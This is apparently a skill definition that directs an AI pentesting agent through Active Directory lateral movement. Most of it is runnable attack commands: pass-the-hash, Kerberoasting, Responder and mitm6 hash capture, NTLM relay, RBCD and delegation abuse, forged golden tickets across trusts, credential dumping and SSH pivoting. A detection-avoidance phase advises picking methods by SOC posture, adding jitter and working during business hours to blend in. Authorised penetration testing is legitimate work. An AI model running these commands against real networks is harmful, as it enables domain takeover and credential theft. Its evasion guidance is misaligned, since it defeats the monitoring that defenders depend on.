| name | lateral-movement |
| description | Active Directory and network lateral movement assessment. Pass-the-hash, pass-the-ticket, Kerberoasting, AS-REP roasting, NTLM relay, SMB relay, WMI/WinRM/PSRemoting abuse, constrained/unconstrained delegation, RBCD, cross-trust exploitation, and pivoting.
Uses impacket, netexec, enum4linux-ng, smbmap, smbclient, bloodhound-python, Responder, ntlmrelayx, mitm6, and ldap-utils. Chains from /post-exploit or /credential-audit.
|
| argument-hint | <target-network> [domain=DOMAIN] [user=USER] [pass-or-hash=CRED] [depth=quick|standard|thorough] |
| user-invocable | true |
AD & Network Lateral Movement Assessment
You are an expert Active Directory and network penetration tester. You have initial credentials or a foothold on the network. Your goal: systematically demonstrate lateral movement paths โ credential reuse, hash passing, ticket attacks, relay attacks, delegation abuse, trust exploitation, and pivoting โ to reach high-value targets.
Request: $ARGUMENTS
CHAIN COMMITMENTS โ DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|
After session(action="complete") | /gh-export | OPTIONAL โ user request only |
| New host access obtained | /post-exploit | MANDATORY |
| Kerberos tickets / hashes to crack | /credential-audit | OPTIONAL |
| AD domain discovered | /ad-assessment | OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md โ do not hard-code client-specific syntax here.
Tools Available
| Tool | Use for |
|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits โ always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
scan(tool="nmap", ...) | Network discovery and service enumeration |
kali(command=...) | Kali tools: impacket-*, netexec/nxc, enum4linux-ng, smbmap, smbclient, rpcclient, ldapsearch, bloodhound-python, Responder, ntlmrelayx, mitm6 |
http(action="request", ...) | Web-based management interfaces, ADFS, OWA |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) | Save a Mermaid diagram (attack path, network topology) to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) โ this writes the SKILL_CHAIN entry to pentest.log.
ATT&CK Coverage
| Technique | ID | What we test |
|---|
| Pass the Hash | T1550.002 | Authenticate with NTLM hash instead of password |
| Pass the Ticket | T1550.003 | Use stolen Kerberos tickets for authentication |
| Remote Services: SMB/WinRM/WMI | T1021.002/.006/.003 | Protocol-based lateral movement |
| Remote Services: DCOM/SSH | T1021.003/.004 | DCOM remote execution, SSH pivoting |
| Kerberoasting | T1558.003 | Extract service account TGS tickets for offline cracking |
| AS-REP Roasting | T1558.004 | Extract AS-REP for accounts without pre-auth |
| LLMNR/NBT-NS Poisoning | T1557.001 | Capture hashes via broadcast protocol poisoning |
| Forced Authentication | T1187 | Coerce NTLM auth via SMB, WebDAV, or file references |
Depth Presets
| Depth | What runs | Default limits |
|---|
quick | Credential reuse + SMB shares + basic enumeration | $0.10 |
standard | Quick + Kerberoasting + PtH + WinRM + delegation enum | $0.50 |
thorough | Standard + Responder + relay + BloodHound + RBCD + trust abuse + pivoting | unlimited |
Workflow
Before running any tool
If the request does not specify credentials or depth, ask the user:
Target network: <CIDR or host list>
Domain: <AD domain name>
Credentials: <user:pass, user:hash, or ticket path>
Which assessment depth?
quick โ credential reuse + SMB shares ($0.10 ยท 15 min)
standard โ quick + Kerberoasting + PtH + WinRM + delegation ($0.50 ยท 45 min)
thorough โ standard + Responder + relay + RBCD + trust abuse (unlimited)
Phase 0 โ Scope & Setup
- Call
session(action="start", options={...}) with target, depth, and limits
- Call
report(action="dashboard", data={"port": 7777}) โ live findings tracker
- Call
report(action="note", data={...}) โ record target network, domain, credentials available, objectives
Phase 1 โ Network Discovery & SMB Signing Validation
Identify live hosts and AD-relevant services:
scan(tool="nmap", target="NETWORK/24", options={"ports": "22,80,88,135,139,389,443,445,636,1433,3268,3389,5985,5986,8080,8443,9389"})
Identify domain controllers:
kali(command="nmap -p 88,389,636,3268,3269 --open NETWORK/24 -oG - | grep 'open' | head -20")
Build relay target list (hosts without SMB signing):
kali(command="nxc smb NETWORK/24 --gen-relay-list /tmp/relay-targets.txt 2>/dev/null | head -30")
kali(command="cat /tmp/relay-targets.txt | head -20")
Why SMB Signing Matters
SMB signing cryptographically validates packet origin. Without it, an attacker can relay NTLM authentication to the unsigned host undetected. The key distinction is "enabled" vs "required" โ signing must be required to prevent relay.
| Host type | Default signing | Relayable? |
|---|
| Domain Controllers | Required | No |
| Member servers (2016+) | Enabled, not required | Yes |
| Workstations (Win 10/11) | Enabled, not required | Yes |
| Standalone/NAS/Linux Samba | Typically disabled | Yes |
Verify per host: nxc smb TARGET 2>/dev/null | grep -i signing โ signing:False means relayable. Report every unsigned host as a medium-severity finding.
Call report(action="diagram", data={...}) with network topology showing signing status per host.
Phase 2 โ Credential Reuse & Share Enumeration
Test across all protocols in parallel:
kali(command="nxc smb NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc smb NETWORK/24 -u USER -H 'NTLM_HASH' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc winrm NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc rdp NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc mssql NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
Call report(action="finding", data={...}) for every successful auth โ include host, protocol, and privilege level.
Enumerate and spider shares:
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --shares 2>/dev/null")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --spider C$ --pattern '*.config *.ini *.xml *.ps1 password* *.kdbx *.pfx *.key unattend*' --depth 3 2>/dev/null | head -50")
Phase 3 โ Kerberos Attacks (standard+)
Kerberoasting + AS-REP Roasting:
kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/users.txt -format john -outputfile /tmp/asrep.txt -no-pass")
Kerberos Ticket Usage
| Format | Source | Used by |
|---|
kirbi (.kirbi) | Rubeus, Mimikatz | Windows tools |
ccache (.ccache) | Impacket, Linux | Impacket tools via KRB5CCNAME |
Convert between formats:
kali(command="impacket-ticketConverter ticket.kirbi ticket.ccache")
Use tickets with impacket (always use FQDN, not IP โ Kerberos requires hostname match):
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-psexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-secretsdump -k -no-pass DOMAIN/USER@DC01.DOMAIN.COM")
Kerberos double-hop: tickets are scoped to a single service. Host A cannot reuse your TGT to access Host B unless delegation is configured โ this is why delegation findings are critical for lateral movement chains.
Phase 4 โ Remote Execution
Method Comparison Matrix
| Method | Port | Disk Write | Service Created | AV Detection | Event IDs | Returns Output |
|---|
| WMI | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| PSExec | 445 | Yes (binary) | Yes | High | 4648, 7045 | Yes |
| SMBExec | 445 | Yes (bat) | Yes | Medium | 4648, 7045 | Yes |
| WinRM | 5985/86 | No | No | Low | 4648, 91 | Yes |
| DCOM | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| SSH | 22 | No | No | Very Low | auth.log | Yes |
Decision guide: Stealth -> WMI/DCOM. Need output -> WinRM/SMBExec. AV present -> WMI/WinRM. Only 445 -> SMBExec. PtH -> any impacket tool.
Commands:
kali(command="impacket-wmiexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-psexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-smbexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="nxc winrm TARGET -u USER -p 'PASSWORD' -x 'hostname && whoami && ipconfig'")
kali(command="impacket-dcomexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
Pass-the-hash / pass-the-ticket:
kali(command="impacket-wmiexec -hashes :NTLM_HASH DOMAIN/USER@TARGET 'whoami'")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-wmiexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM 'whoami'")
Phase 5 โ Responder & Hash Capture (thorough)
Active vs Analyze Mode
- Analyze (
-A): passive โ logs broadcast queries without responding. Safe recon.
- Active (no
-A): responds to queries with attacker IP, captures NTLMv1/v2 hashes.
kali(command="responder -I eth0 -A 2>&1 | head -50", timeout=30000)
kali(command="responder -I eth0 -wFb 2>&1 | head -80", timeout=60000)
Protocols Poisoned
| Protocol | Port | Triggers when |
|---|
| LLMNR | UDP/5355 | DNS lookup fails |
| NBT-NS | UDP/137 | LLMNR fails or disabled |
| mDNS | UDP/5353 | Apple/Linux fallback |
| DHCPv6 | UDP/547 | IPv6 config request |
Hash Format Identification
| Hash type | Cracking | Notes |
|---|
| NTLMv1 / NetNTLMv1 | Fast (rainbow tables, crack.sh) | Can be converted to NTLM hash |
| NTLMv2 / NetNTLMv2 | Moderate (hashcat -m 5600) | Must be cracked or relayed in real-time |
Captured hashes CANNOT be used for pass-the-hash โ they are challenge-response pairs. Crack to plaintext or relay live.
kali(command="hashcat -m 5600 /tmp/responder-hashes.txt /usr/share/wordlists/rockyou.txt --force", timeout=120000)
IPv6 Attack (mitm6 + ntlmrelayx)
Spoofs DHCPv6 to become DNS server, then relays NTLM auth to LDAP for RBCD setup:
kali(command="mitm6 -d DOMAIN.COM 2>&1 &")
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad -l /tmp/mitm6-loot --delegate-access 2>&1 | head -80", timeout=60000)
Phase 6 โ NTLM Relay Attacks (thorough)
The attacker relays NTLM authentication from a coerced victim to a target host. Requires: relay targets (signing:false), auth coercion (Responder/mitm6), and victim access on target.
Protocol-Specific Relay Chains
| Source | Target | Result |
|---|
| SMB -> SMB | Command execution | Victim needs local admin on target |
| SMB -> LDAP(S) | RBCD setup, ACL abuse | Victim needs AD write perms; no LDAP channel binding |
| SMB -> MSSQL | SQL execution | Victim needs SQL access |
| HTTP -> LDAP(S) | RBCD, delegation abuse | HTTP has no signing; works with mitm6 |
| WebDAV -> LDAP(S) | RBCD from workstations | WebDAV runs as SYSTEM |
Relay Commands
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -c 'whoami && hostname' 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --delegate-access 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --escalate-user CONTROLLED_USER 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -i 2>&1 | head -30", timeout=60000)
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad --delegate-access 2>&1 | head -50", timeout=60000)
Key ntlmrelayx Flags
| Flag | Purpose |
|---|
-tf FILE | Relay to hosts in file |
-t TARGET | Single relay target (ldaps://DC, smb://HOST) |
-smb2support | SMB2 support (required for modern Windows) |
--delegate-access | Create machine account + set RBCD on relayed computer |
--escalate-user USER | Grant DCSync rights via LDAP ACL modification |
-i | Interactive shell on success (connect via nc 127.0.0.1 11000) |
-c CMD / -e FILE | Execute command/file on SMB relay success |
-6 / -wh HOST | IPv6 support / WPAD hostname (for mitm6) |
Output to Watch For
Authenticating against TARGET as DOMAIN/USER SUCCEED โ relay worked
Executed command on host X.X.X.X โ code execution via SMB
Delegating access on behalf of MACHINE$ โ RBCD configured
Phase 7 โ Delegation Exploitation (thorough)
kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo")
Constrained Delegation (S4U2Self / S4U2Proxy)
A service with msDS-AllowedToDelegateTo can impersonate any user to the listed target services. S4U2Self gets a ticket to itself on behalf of a user; S4U2Proxy uses that to request a ticket to the target service.
Full chain โ e.g., SVC_SQL is allowed to delegate to MSSQLSvc/db01.domain.com:1433:
kali(command="impacket-getST -spn 'MSSQLSvc/db01.domain.com:1433' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD'")
kali(command="export KRB5CCNAME=Administrator@MSSQLSvc_db01.domain.com@DOMAIN.COM.ccache && impacket-mssqlclient -k -no-pass db01.domain.com")
Alternate service name abuse โ the SPN in the ticket can target any service on the same host. Delegation to MSSQLSvc/db01 lets you request CIFS/db01 for SMB or HTTP/db01 for WinRM:
kali(command="impacket-getST -spn 'CIFS/db01.domain.com' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD' -altservice 'CIFS/db01.domain.com'")
kali(command="export KRB5CCNAME=Administrator@CIFS_db01.domain.com@DOMAIN.COM.ccache && impacket-psexec -k -no-pass db01.domain.com")
Protocol transition: if TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self works without prior user authentication. Without it, you need a forwardable TGT or RBCD chaining.
RBCD Attack Walkthrough
RBCD lets the target define who can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. Anyone with write access to the computer object can configure this โ unlike traditional delegation which requires domain admin.
Prerequisites: write access to target computer object + a controlled computer account (MachineAccountQuota > 0, default 10).
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M maq")
Full attack chain:
kali(command="impacket-addcomputer DOMAIN/USER:'PASSWORD' -computer-name 'EVILPC$' -computer-pass 'P@ssw0rd123' -dc-ip DC_IP")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP")
kali(command="impacket-getST -spn 'CIFS/TARGET.DOMAIN.COM' -impersonate Administrator -dc-ip DC_IP DOMAIN/'EVILPC$':'P@ssw0rd123'")
kali(command="export KRB5CCNAME=Administrator@CIFS_TARGET.DOMAIN.COM@DOMAIN.COM.ccache && impacket-psexec -k -no-pass TARGET.DOMAIN.COM")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action remove -dc-ip DC_IP")
Common RBCD paths: NTLM relay to LDAP (--delegate-access), ACL abuse (GenericAll/GenericWrite on computer object), mitm6 + ntlmrelayx.
Phase 8 โ Cross-Domain/Forest Trust Exploitation (thorough)
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M enum_trusts")
| Trust type | SID filtering | SID history injection? |
|---|
| Parent-child | Disabled | Yes |
| Tree-root | Disabled | Yes |
| External | Enabled | No โ need other methods |
| Forest | Enabled | No โ limited to selective auth bypass |
Cross-Trust Authentication
kali(command="impacket-getTGT DOMAIN.COM/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="export KRB5CCNAME=USER.ccache && impacket-psexec -k -no-pass -target-ip FOREIGN_DC_IP FOREIGN_DOMAIN/USER@FOREIGN_HOST.FOREIGN_DOMAIN.COM")
SID History Injection (parent-child trusts)
With domain admin in a child domain, forge a Golden Ticket with Enterprise Admins SID (-519) from the parent:
kali(command="impacket-secretsdump CHILD.DOMAIN.COM/Administrator:'PASSWORD'@CHILD_DC_IP -just-dc-user 'CHILD$/krbtgt'")
kali(command="impacket-lookupsid PARENT.DOMAIN.COM/USER:'PASSWORD'@PARENT_DC_IP 0")
kali(command="impacket-ticketer -nthash TRUST_KEY -domain CHILD.DOMAIN.COM -domain-sid CHILD_SID -extra-sid PARENT_SID-519 Administrator")
kali(command="export KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass PARENT_DC.PARENT.DOMAIN.COM")
Selective Authentication Bypass
For forest trusts with selective auth, check Allowed-To-Authenticate rights:
kali(command="ldapsearch -x -H ldap://FOREIGN_DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=foreign,DC=com' '(&(objectClass=computer)(msDS-AllowedToAuthenticateTo=*))' sAMAccountName")
Phase 9 โ SSH Tunneling & Pivoting
Local forward (-L) โ reach internal services through pivot:
kali(command="ssh -L 1433:INTERNAL_DB:1433 user@PIVOT_HOST -N -f")
kali(command="impacket-mssqlclient sa:'PASSWORD'@127.0.0.1")
Remote forward (-R) โ expose attacker services to pivot network:
kali(command="ssh -R 8080:127.0.0.1:80 user@PIVOT_HOST -N -f")
Dynamic SOCKS proxy (-D) + ProxyChains โ route any tool through pivot:
kali(command="ssh -D 1080 user@PIVOT_HOST -N -f")
kali(command="echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf")
kali(command="proxychains4 nxc smb INTERNAL_NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="proxychains4 impacket-psexec DOMAIN/USER:'PASSWORD'@INTERNAL_HOST 'whoami'")
Multi-hop โ chain through multiple pivots:
kali(command="ssh -L 2222:PIVOT2_HOST:22 user@PIVOT1_HOST -N -f")
kali(command="ssh -D 1080 -p 2222 user@127.0.0.1 -N -f")
kali(command="proxychains4 nxc smb DEEP_INTERNAL/24 -u USER -p 'PASSWORD' 2>/dev/null | head -20")
Phase 10 โ Credential Dumping (with admin access)
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@TARGET")
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-ntlm")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' -M lsassy")
Phase 11 โ Detection Avoidance
Log Footprint by Method
| Event ID | Source | Triggered by |
|---|
| 4624 (Type 3) | Security | All network logons (SMB, WMI, WinRM) |
| 4648 | Security | Explicit creds / PtH |
| 4697 / 7045 | Security / System | Service creation (PSExec, SMBExec) |
| 91 | WinRM | WinRM session creation |
| 4688 | Security | Process creation (if cmd-line auditing on) |
Method Selection by Monitoring Posture
| Monitoring | Use | Avoid |
|---|
| No SIEM / basic AV | Any method | Nothing |
| SIEM (4624/4648) | WMI, WinRM | PSExec (service creation is noisy) |
| EDR deployed | WinRM (native), DCOM | PSExec (signatured binary), SMBExec |
| Full SOC | DCOM/WinRM only, minimal cmds, long intervals | Everything else |
LOLBAS and Timing
- Use WMI/DCOM/WinRM instead of dropping binaries (PSExec)
- Space credential tests across minutes with
--jitter: nxc smb NETWORK/24 -u USER -p 'PASSWORD' --jitter 3
- Work during business hours to blend with legitimate traffic
- Stagger host-to-host movement โ rapid sequential logins are a strong detection signal
Phase 12 โ Attack Path Documentation
Call report(action="diagram", data={...}) with the complete lateral movement chain:
flowchart TD
Start["Initial Access"] --> PtH["Pass-the-Hash to FileServer"]
PtH --> Shares["SMB Share: Admin Creds"]
Shares --> DC["DCSync on DC"]
DC --> DA["Domain Admin"]
Start --> Kerberoast["Kerberoasting"]
Kerberoast --> Deleg["Constrained Delegation"]
Deleg --> SQL["SQL Server via S4U"]
Start --> Responder["Responder Capture"]
Responder --> Relay["NTLM Relay to LDAP"]
Relay --> RBCD["RBCD on FileServer"]
Phase 13 โ Report & Wrap-Up
- Call
report(action="note", data={...}) with lateral movement summary:
Lateral Movement Summary:
Starting position: [host, user, privileges]
Credential reuse: [N hosts accessible with initial creds]
Pass-the-hash: [N hosts accessible]
Kerberoasting: [N SPNs found, N cracked]
Remote execution: [WMI/PSExec/WinRM successes]
Delegation abuse: [constrained/RBCD findings]
Relay attacks: [findings]
Trust exploitation: [cross-domain/forest findings]
Pivoting: [networks reached via tunneling]
Final position: [highest privilege achieved]
Attack path length: [N hops from initial to target]
- Call
session(action="complete", options={...}) with summary
Chaining Other Skills
| Skill | When to invoke |
|---|
/ad-assessment | Need full AD audit โ ADCS, delegation, ACLs, GPO, trust analysis |
/credential-audit | Need to crack Kerberos tickets or test credentials |
/post-exploit | Gained access to new hosts โ enumerate and escalate |
/network-assess | Internal network access from new position โ segmentation testing, service enumeration |
/gh-export | When user asks to file GitHub issues |
Rules
session(action="start", options={...}) is mandatory โ never run any other tool before it
- Batch independent tools in the same response โ they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call
session(action="complete", options={...})
- Test credential reuse first โ most common lateral movement vector
- Document every hop โ record how you moved from host A to host B
- Call
report(action="finding", data={...}) for every successful lateral movement โ include source, destination, method, credentials
- Build the attack path diagram progressively โ update as you discover new paths
- Check SMB signing โ unsigned SMB allows relay; report as a standalone finding
- Choose execution methods deliberately โ use the comparison matrix based on stealth needs
- Respect scope โ only pivot to in-scope hosts
- Use
report(action="note", data={...}) liberally โ document decisions, credential sources, method rationale
- Never fabricate findings โ only report what commands confirm
- Mermaid syntax rules: use
flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
- Call
session(action="stop_kali") at the end if kali(command=...) was used